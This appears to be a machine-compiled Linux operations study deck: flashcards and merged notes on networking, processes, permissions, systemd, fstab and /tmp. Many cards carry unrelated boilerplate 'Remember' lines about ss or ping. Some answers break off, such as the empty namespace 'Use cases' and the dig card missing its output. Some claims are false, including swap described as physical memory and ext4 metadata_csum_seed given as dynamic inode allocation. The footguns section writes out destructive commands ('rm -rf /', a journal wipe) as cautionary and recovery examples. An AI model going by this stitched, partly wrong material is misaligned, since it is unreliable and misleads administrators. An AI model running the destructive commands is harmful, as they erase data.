A: <html><code>ip link show</code></html> lists all network interfaces with their state (UP/DOWN), MTU, MAC address, and type. Alternatives: <html><code>ip addr show</code></html> includes IP addresses, <html><code>ip -br link</code></html> gives a brief one-line-per-interface view. Legacy command <html><code>ifconfig</code></html> also works but is deprecated. Use <html><code>ip link set eth0 up/down</code></html> to enable or disable an interface.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the `ip -brief addr show` command?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: What is a network namespace? What is it used for?
A: Network namespace provides isolated network stack instances.
Each namespace has own:
* Network interfaces
* IP addresses
* Routing tables
* Firewall rules
* Ports (can reuse same port numbers)
Use cases:
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is `ip netns`?]]
Q: Swap usage too high. What are the reasons for this and how to resolve swapping problems?
A: ''Swap'' space is a restricted amount of physical memory that is allocated for use by the operating system when available memory has been fully utilized. It is memory management that involves swapping sections of memory to and from physical storage.
Remember: ping = ICMP Echo. No reply ≠ host down — firewalls block ICMP.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Diagnosing and responding to swap storms]]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
Q: What commands are you using for performing DNS queries (or troubleshoot DNS related issues)?
A: You can specify one or more of the following:
* <html><code>dig</code></html>
* <html><code>host</code></html>
* <html><code>nslookup</code></html>
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What are you using for troubleshooting and debugging process issues?]]
Q: How to enforce authorization methods in SSH? In what situations it would be useful?
A: Force login with a password:
<html><pre><code class="language-bash">ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host</code></pre></html>
Force login using the key:
<html><pre><code class="language-bash">ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host</code></pre></html>
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What ssh-keygen is used for?]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[How do you harden SSH?]]
Q: What symbolic representation can you pass to <html><code>chmod</code></html> to give all users execute access to a file without affecting other permissions?
A: <html><pre><code class="language-bash">chmod a+x /path/to/file</code></pre></html>
* <html><code>a</code></html> - for all users
* <html><code>x</code></html> - for execution permission
* <html><code>r</code></html> - for read permission
* <html><code>w</code></html> - for write permission
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How do you change file permissions on Linux?]]
* [[What this command does? chmod +x some_file]]
* [[What the following commands do?]]
Q: Can you explain how network process/connection is established and how it's terminated?
A: When a client process on one system wants to establish a connection with a server process on another system, it first creates a socket using the socket system call. The client then calls the connect system call, passing the address of the server as an argument.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What happens when socket system call is used?]]
* [[What happens when you press ctrl + c?]]
* [[How the kernel notifies the parent process about child process termination?]]
Q: True or False? In user space, applications don't have full access to hardware resources
A: True. Only in kernel space they have full access to hardware resources.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
* [[How a user process performs a privileged operation, such as reading from the disk?]]
* [[What are the possible states of a process in Linux?]]
Q: What is the difference between SSH and SSL?
A: Both provide encryption but for different purposes:
SSH (Secure Shell):
* Remote access and command execution
* Port 22, auth via keys/passwords
* Use: Server admin, SCP/SFTP, tunneling
SSL/TLS:
* Encrypt any TCP connection
* Port 443 (HTTPS), auth via X.509 certs
* Use: HTTPS, email, VPNs
Key difference: SSH is complete remote access protocol; TLS is encryption layer for other protocols.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Why SSH is considered better than telnet?]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
Q: True or False? The wait() system call won't return until the child process has run and exited
A: True in most cases though there are cases where wait() returns before the child exits.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What are the possible states of a process in Linux?]]
* [[How to run a process in the background and why to do that in the first place?]]
* [[How the kernel notifies the parent process about child process termination?]]
Q: What are packet sniffers? Have you used one in the past? If yes, which packet sniffers have you used and for what purpose?
A: It is a network utility that analyses and may inject tasks into the data-stream travelling over the targeted network.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the routing table? How do you view it?]]
Linux provides a set of system calls for managing processes throughout their lifecycle:
* <html><code>fork()</code></html> — creates a new (child) process by duplicating the calling process
* <html><code>exec()</code></html> — replaces the current process image with a new program
* <html><code>wait()</code></html> — suspends the calling process until a child process changes state; part of the standard fork→exec→wait creation workflow
* <html><code>exit()</code></html> — terminates the calling process
* <html><code>getpid()</code></html> — returns the unique process ID of the calling process
* <html><code>getppid()</code></html> — returns the parent process ID
* <html><code>nice()</code></html> — adjusts the scheduling priority of the currently running process
Common userspace tools for observing and controlling processes: <html><code>ps</code></html> (list processes), <html><code>top</code></html> (live monitor), <html><code>kill</code></html> (send signals), <html><code>lsof</code></html> (open file handles), <html><code>strace</code></html> (trace system calls).
Signal discipline: always attempt <html><code>kill -15</code></html> (SIGTERM) first to allow graceful shutdown; use <html><code>kill -9</code></html> (SIGKILL) only as a last resort, since SIGKILL bypasses cleanup handlers and can leave resources (locks, temp files, sockets) in an inconsistent state.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Can you describe how processes are being created?]]
* [[Explain Process Descriptor and Task Structure]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
Q: What question does ss -ltnp answer?
A: Which TCP ports are currently listening, and which processes own them. -l = listening, -t = TCP, -n = numeric, -p = show process.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Find which process is listening on a port]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
Q: What is a socket in Linux?
A: An endpoint for interprocess or network communication. Sockets can be Unix domain (local) or network (TCP/UDP). Each has a type, address, and state.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What happens when socket system call is used?]]
* [[What is a Unix domain socket?]]
Q: How do you find out what command a running process was started with?
A: Read /proc/<pid>/cmdline (null-delimited arguments) or /proc/<pid>/status (includes process name). The ps command also provides this via ps -p <pid> -o cmd.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Find which process is listening on a port]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[What are you using for troubleshooting and debugging process issues?]]
Q: Using a Linux system with a limited number of packages installed, and telnet is not available. Use sysfs virtual filesystem to test connection on all interfaces (without loopback).
A: For example:
<html><pre><code class="language-bash">#!/usr/bin/bash
for iface in $(ls /sys/class/net/ | grep -v lo) ; do
if ~[[ $(cat /sys/class/net/$iface/carrier) = 1 ]] ; then state=1 ; fi
done
if ~[[ ${state:-0} -ne 1 ]] ; then echo "no connection" > /dev/stderr ; exit ; fi</code></pre></html>
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is telnet and why is it a bad idea to use it in production? (or at all)]]
Defense in depth is a security strategy that applies multiple independent layers of controls so that if one layer fails, the remaining layers continue to protect the system. No single control is relied upon exclusively; each layer reduces the blast radius of a breach in another.
Layers by domain:
* ''Network'': firewalls, network segmentation, WAF, cloud security groups
* ''Host'': OS hardening, patching, antivirus, host-based IDS, host-level firewall
* ''Application'': input validation, authentication, authorization, encryption in transit
* ''Data'': encryption at rest, access controls, backups
For an operations engineer this means stacking controls at each boundary — cloud security groups restrict ingress, the host firewall restricts further, the application enforces authentication, and data is encrypted independently of both. A misconfigured security group does not expose plaintext data.
Debugging note: when tracing a connectivity issue, check <html><code>iptables</code></html>/<html><code>nftables</code></html> rules and <html><code>ss</code></html> for active connections alongside cloud-level security group rules — any layer may be the blocker.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/interactive/knowledge/data/cards/security.tsv</code></html>
//Merged from 2 source atoms.//
Q: What are the core principles of zero trust security?
A: Zero trust assumes no implicit trust based on network location. Principles: 1) Verify explicitly (authenticate and authorize every request); 2) Use least privilege access; 3) Assume breach (segment access, use end-to-end encryption, monitor continuously). Implementation involves: identity-based access, micro-segmentation, continuous validation, and device health checks. "Never trust, always verify."
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
Q: What is vulnerability scanning and name three common tools.
A: Vulnerability scanning is the automated process of probing systems and applications for known security weaknesses. It checks against databases like CVE and NVD. Common tools: 1) Nessus: commercial network/host scanner; 2) Trivy: open-source container and filesystem scanner; 3) OWASP ZAP: open-source web application scanner. Scanning should be integrated into CI/CD for continuous security feedback.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
Q: What the following commands do?
A: * chmod - changes access permissions to files system objects
* chown - changes the owner of file system files and directories
* chgrp - changes the group associated with a file system object
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What this command does? chmod +x some_file]]
* [[What symbolic representation can you pass to `chmod` to give all users execute access t…]]
* [[What does chmod 755 filename do?]]
Q: How to check which commands you executed in the past?
A: history command or .bash_history file
* also can use up arrow key to access or to show the recent commands you type
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How to list active connections?]]
* [[Your first 5 commands on a *nix server after login.]]
* [[What is the routing table? How do you view it?]]
Q: You run dig codingshell.com and get the following result:
A: This is the TTL. When you lookup for an address using a domain/host name, your OS is performing DNS resolution by contacting DNS name servers to get the IP address of the host/domain you are looking for.
When you get a reply, this reply in cached in your OS for a certain period of time. This is period of time is also known as TTL and this is the meaning of 3515 number - it will be cached for 3515 seconds before removed from the cache and during that period of time, you'll get the value from the cache instead of asking DNS name servers for the address again.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the `dig` command used for?]]
Q: What is CUPS and how does it handle printing in Linux?
A: CUPS (Common Unix Printing System) manages printing on Linux/Unix.
Features:
* Print queue management
* Driver support (PPD files)
* Network printing (IPP protocol)
* Web interface (localhost:631)
Components:
* cupsd: Main daemon
* /etc/cups/: Configuration
* /var/spool/cups/: Print queues
Commands:
* lpstat -p: List printers
* lp -d printer file: Print file
* lpq: Show queue
* lprm job_id: Cancel job
Web admin: http://localhost:631
* Add printers
* Manage queues
* View logs
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What does `tee` do?]]
* [[Explain piping. How do you perform piping?]]
* [[What does `printenv` do?]]
Q: Tell me about your Linux experience.
A: I've managed large-scale Linux environments for over 15 years — from RHEL 4–9, CentOS, Ubuntu, and CoreOS. Most of my work has been operational: patching, performance tuning, troubleshooting services, storage, networking, and writing automation around daily tasks. I'm very strong with systemd, networking services, SELinux, and debugging production issues under pressure.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How do you troubleshoot a Linux system that's acting slow?]]
* [[How do you check TCP connection statistics on Linux?]]
A cleanup script contains <html><code>rm -rf $CLEANUP_DIR/</code></html>. If the variable is unset, the shell expands it to an empty string, leaving <html><code>rm -rf /</code></html> — a command that attempts to delete every file on the system. This is the single most destructive pattern in Linux operations. Prevention requires two layers: use <html><code>set -u</code></html> at the top of scripts to error on any undefined variable reference, and quote variables defensively with <html><code>${VAR:?}</code></html> syntax, which fails immediately if the variable is empty or unset. A similar risk exists with any destructive operation (<html><code>rm</code></html>, <html><code>dd</code></html>, <html><code>mkfs</code></html>) — always verify the target variable is set before using it in a command that cannot be undone.
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
''Related atoms''
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[Typos in destructive commands cause irreversible data loss]]
When permissions are wrong, inexperienced operators sometimes <html><code>chmod -R 777</code></html> to "fix it." This makes every file world-writable — SSH refuses to use keys stored in world-readable <html><code>.ssh/</code></html> directories, web servers will serve <html><code>.env</code></html> files and configuration to anyone, and databases allow unauthorized access. The fix is to understand the correct permissions for each use case: web-served files are <html><code>644</code></html> (owner reads/writes, group and others read), directories are <html><code>755</code></html> (owner has full access, group and others can read and enter). SSH keys are <html><code>600</code></html> (owner only). Database files are typically <html><code>600</code></html> or <html><code>660</code></html>. <html><code>777</code></html> should never appear in production code outside of explicit comments explaining why it's needed (rare).
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
''Related atoms''
* [[SSH key permissions are non-negotiable and security-critical]]
* [[chmod 777 persists in tutorials despite being almost never correct]]
* [[Overly permissive file permissions expose data to every user on the system]]
Editing <html><code>/etc/fstab</code></html> (adding mounts, changing UUIDs, updating options) without testing first can render the system unbootable. At boot, systemd waits for every listed mount to succeed or timeout; an unparseable entry or unreachable device stalls the boot sequence. If the affected mount is on the root or SSH path, the server becomes unreachable and requires console access or a rescue reboot.
Prevention:
* Run <html><code>mount -a</code></html> immediately after editing fstab. It reads the file and attempts to mount all entries not already mounted, surfacing errors (typos in device paths, wrong UUIDs, bad options) in the live system before a reboot locks you out.
* Verify every UUID referenced in fstab actually exists: <html><code>blkid</code></html> lists UUIDs present on the system.
* For non-critical mounts (secondary disks, NFS, removable media), add the <html><code>nofail</code></html> option so the system boots even if that mount fails.
A broken fstab found only at boot time typically requires rescue mode or booting from external media. Running <html><code>mount -a</code></html> is cheap insurance that catches the same error in seconds.
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Validate fstab syntax changes before reboot to avoid emergency mode]]
* [[NFS fstab entries require _netdev and nofail flags]]
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
SIGTERM (signal 15) is a polite request delivered to the process, which can catch it and run a signal handler for graceful shutdown: closing database connections, flushing buffers, removing PID files, and releasing locks. SIGKILL (signal 9) bypasses the process entirely — the kernel forcibly terminates it with no opportunity for cleanup. The result of reflexive SIGKILL use is corrupted state: locked database tables, stale PID files, orphaned temp files.
The correct escalation order: send <html><code>kill</code></html> (SIGTERM) first, wait a reasonable interval, check whether the process has exited, and only then escalate to <html><code>kill -9</code></html> if the process ignores SIGTERM. Most well-written daemons catch SIGTERM and initiate graceful shutdown. Some applications (Java, some interpreters) respond to SIGQUIT (signal 3) by dumping diagnostic state — thread dumps or core files — useful for debugging before forcing termination.
Escalate deliberately, not reflexively. SIGKILL is a last resort, not a first response to a stuck process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `kill 0` do in Linux process management?]]
* [[Signals are notifications with three possible outcomes per process]]
A filesystem can exhaust inodes (the metadata structures representing files and directories) while still having free disk space. A system that creates millions of small files — session files, cache entries, log fragments — can hit the inode limit (often 12.5–25 million on ext4) while <html><code>df -h</code></html> reports 40% free. <html><code>touch newfile</code></html> fails with "no space left on device" even though <html><code>df</code></html> claims space remains. <html><code>df -i</code></html> reveals the true constraint. Prevention requires monitoring inode usage alongside disk space. For workloads that create very large numbers of small files, consider filesystems with dynamic inode allocation (XFS, btrfs, ext4 with metadata_csum_seed) instead of static inode pools. Cleanup strategies focus on removing small-file accumulations rather than freeing disk blocks.
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
''Related atoms''
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[Deleted open files hold disk space until last fd closes]]
* [[What causes sudden disk full with "no files"?]]
A script writes a disk image or wipes a drive using <html><code>dd</code></html> or direct block device access. The device name is typed incorrectly — <html><code>/dev/sda</code></html> instead of <html><code>/dev/sdb</code></html> — and the wrong disk is overwritten. Data loss is immediate and often unrecoverable. Prevention: triple-check device names with <html><code>lsblk</code></html> before any destructive operation. In scripts, use persistent identifiers (UUID, filesystem labels, WWN identifiers) instead of device names. Physically disconnect devices you don't need to touch so they cannot be mistaken. For critical operations, add a confirmation step that prints the target device and requires explicit approval.
----
''Sources''
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
''Related atoms''
* [[dd has no undo and no safety check; verify source and destination before running]]
* [[Typos in destructive commands cause irreversible data loss]]
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
When a process consumes high CPU and the cause is unclear, <html><code>perf</code></html> instruments the system with sample-based profiling to identify exactly which functions and call paths are burning CPU time. The core workflow: use <html><code>perf top</code></html> for immediate live profiling of hot functions (similar to top but for functions), then <html><code>perf record -F 99 -g -p <pid> -- sleep 30</code></html> to capture detailed call-chain samples, and <html><code>perf report</code></html> to analyze the results. The key metric in perf output is "Overhead" — the percentage of total CPU time attributed to a function and its children.
Flamegraphs, generated from perf data via the FlameGraph toolset, convert raw profile data into an interactive SVG. Each block's width represents CPU time; stack height represents call depth. This makes it possible to see not just which function is slow but which call path led there — a library called from many places where only one caller is the bottleneck becomes immediately visible. The visualization transforms "this process is slow" into "this function on this code path consumes 80% of CPU."
Flamegraphs are the standard technique for CPU profiling in production on compiled and optimized code where simpler tools (top, strace, logs) provide no actionable signal. Kernel symbols require a readable <html><code>/proc/kallsyms</code></html>; containers require the <html><code>SYS_ADMIN</code></html> capability, otherwise call frames appear as hex addresses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What is perf?]]
* [[What is the `perf top` command?]]
* [[perf answers CPU-bound vs I/O-bound questions that logs cannot]]
Service failures often have unclear error messages. <html><code>systemctl status</code></html> shows basic state and recent logs; <html><code>journalctl -u <service></code></html> retrieves full logs; <html><code>systemctl show</code></html> displays all properties (hundreds of them). systemd integrates with Linux cgroups to isolate and limit resources: <html><code>MemoryMax</code></html> hard-kills a process if exceeded, while <html><code>MemoryHigh</code></html> throttles instead. <html><code>CPUQuota=200%</code></html> means two full cores (100% per core), not half a core. Resource limits can be set transient (until restart) with <html><code>systemctl set-property</code></html> or persistent by editing the unit file. <html><code>systemd-cgls</code></html> shows the full cgroup tree; <html><code>systemd-cgtop</code></html> shows real-time resource consumption. The slice hierarchy (<html><code>system.slice</code></html>, <html><code>user.slice</code></html>) organizes services for accounting and policy. Modern systems use cgroup v2 instead of cgroup v1; the paths differ but the concepts are the same. Understanding cgroups is essential for isolating misbehaving services and preventing them from starving the rest of the system.
----
''Sources''
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
''Related atoms''
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
systemd's journal is the central log sink; corruption causes <html><code>journalctl</code></html> to return "Journal file corrupted" or produce no output. <html><code>journalctl --verify</code></html> identifies which files are corrupted (they end with <html><code>~</code></html>). Recovery means removing corrupt files and restarting the journal daemon; if all journals are corrupted, <html><code>rm -rf /var/log/journal/*</code></html> and restart will wipe historical logs but restore functionality. Journal corruption usually stems from disk space exhaustion or unclean shutdown. Prevention: set size limits in <html><code>/etc/systemd/journald.conf</code></html> (<html><code>SystemMaxUse</code></html>, <html><code>SystemKeepFree</code></html>), ensure adequate space on <html><code>/var/log/journal/</code></html>, and verify that disks are healthy. The journal is append-only and relies on clean shutdown; forced power-offs or disk errors leave inconsistent state. Since journal is central to debugging, a corrupted journal can hide the root cause of other problems. Frequent corruption may indicate a failing disk that should be investigated with <html><code>smartctl</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
''Related atoms''
* [[What is journald?]]
* [[Investigating unexpected system reboots via journalctl]]
* [[journalctl: primary tool for querying the systemd journal]]
When an application fails silently or with opaque error codes, strace attaches to a running process and captures every system call, showing exactly what the kernel saw. Key syscalls to filter on: <html><code>open,openat,read,write</code></html> for file operations; <html><code>network</code></html> for socket operations; <html><code>connect</code></html> for connection attempts. <html><code>strace -c</code></html> summarizes time and counts per syscall, useful for seeing if a process is stuck in a particular operation. The output is overwhelming; always write to a file (<html><code>-o</code></html>) or filter with <html><code>-e trace=</code></html>. strace adds 10-100x overhead, so use it for seconds, not minutes. Containers need <html><code>SYS_PTRACE</code></html> capability or must be traced from the host. ltrace is the library-call equivalent; it traces libc and other library calls but does not work well with statically compiled binaries (Go, Rust). A typical example: application exits with code 1 but logs are redirected to <html><code>/dev/null</code></html>; strace reveals the actual syscall that failed. File permission errors, missing config files, and unreachable network addresses all become visible. For Go applications, strace works but <html><code>GODEBUG</code></html> environment variables and the <html><code>delve</code></html> debugger are often more productive.
----
''Sources''
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
''Related atoms''
* [[What does strace do? What about ltrace?]]
* [[What does `ltrace` do?]]
Two major Linux package management families exist. DEB-based systems (Debian, Ubuntu) use <html><code>apt</code></html> as the high-level tool and <html><code>dpkg</code></html> for low-level operations; packages carry the <html><code>.deb</code></html> format. RPM-based systems (RHEL, CentOS, Rocky, Alma, Fedora) use <html><code>dnf</code></html> or <html><code>yum</code></html> as the high-level tool and <html><code>rpm</code></html> for low-level queries; packages carry the <html><code>.rpm</code></html> format. Both families manage dependencies, install/remove/upgrade packages, and maintain package repositories — solving the same problem of reproducible, trackable software installation, but with distinct syntax and philosophy. Key low-level commands: <html><code>dpkg -l</code></html> lists installed packages; <html><code>dpkg -L</code></html> lists files owned by a package; <html><code>rpm -qa</code></html> lists installed RPMs; <html><code>rpm -ql</code></html> lists files in a package. Repository metadata lives in <html><code>/etc/apt/sources.list</code></html> (and <html><code>/etc/apt/sources.list.d/</code></html>) on Debian systems, and in <html><code>/etc/yum.repos.d/</code></html> on RPM systems.
----
''Sources''
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do package management commands differ across distros?]]
* [[Find which package owns a file on Linux]]
* [[Why do we need package managers? Why not simply creating archives and publish them?]]
journalctl accesses the systemd journal, which captures structured, indexed logs from all system services and the kernel. Running <html><code>journalctl</code></html> alone shows all logs. Key flags: <html><code>-u <service></code></html> filters by unit (e.g., <html><code>-u nginx</code></html>); <html><code>-b</code></html> shows logs since the last boot; <html><code>--since "1 hour ago"</code></html> filters by time window; <html><code>-p err</code></html> filters by severity (err and above); <html><code>-f</code></html> follows output like <html><code>tail -f</code></html>; <html><code>-k</code></html> shows kernel messages only. Because the journal is structured and indexed, queries are fast and composable—prefer journalctl's built-in flags over piping to grep or awk. Most operational problems leave traces in the journal, making journalctl fluency foundational to Linux troubleshooting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is journald?]]
* [[systemd standardizes service and process management across distros]]
* [[Linux logging is a layered system with interdependent components]]
<html><code>systemctl enable</code></html> creates symlinks so the service starts automatically at boot; <html><code>systemctl start</code></html> activates the service immediately in the current session. These are orthogonal operations:
* ''Enable only'': service runs after next reboot, not now.
* ''Start only'': service runs now, stops after reboot.
* ''Both'': service is fully operational — running now and persistent across reboots.
To do both in a single command: <html><code>systemctl enable --now <service></code></html>.
The separation is intentional. Boot sequences are complex: a service may need to be enabled but held back until other conditions are met, or started temporarily for debugging without making it permanent. Understanding this distinction prevents the common mistake of enabling a service and assuming it is already running, or starting one and assuming it will survive a reboot.
----
''Sources''
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Systemd units separate boot-time enablement from runtime control]]
* [[Systemd units: enable and start are orthogonal]]
Q: What is the purpose of /tmp?
A: Temporary files. Often a tmpfs (RAM-backed). Files may be deleted on reboot or by systemd-tmpfiles. World-writable with the sticky bit set.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[True or False? both /tmp and /var/tmp cleared upon system boot]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
Q: What is the difference between /tmp and /var/tmp?
A: <html><code>/tmp</code></html> is cleared on reboot (often tmpfs). <html><code>/var/tmp</code></html> persists across reboots and is for temporary files that should survive reboots (e.g., large downloads, package build files).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd-tmpfiles?]]
* [[What is the purpose of /var?]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
Whether /tmp is cleared on reboot is a property of distribution configuration, not of Linux itself. Systemd-based distributions use <html><code>tmpfiles.d</code></html> to manage /tmp cleanup; some mount /tmp as tmpfs (a RAM-backed filesystem) which inherently clears on power-off. Red Hat Enterprise Linux cleans /tmp of files older than 10 days via a timer unit (<html><code>systemd-tmpfiles-clean.timer</code></html>) that runs periodically, independent of reboot. Other distributions may leave /tmp untouched across reboots. This inconsistency has caused data loss when developers use /tmp for semi-persistent state, assuming it survives reboot on all systems. Never store data you care about in /tmp. If you need semi-persistent scratch space, create a dedicated directory under /var or /srv with appropriate permissions and a backup strategy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is special about the /tmp directory when compared to other directories?]]
* [[What is systemd-tmpfiles?]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
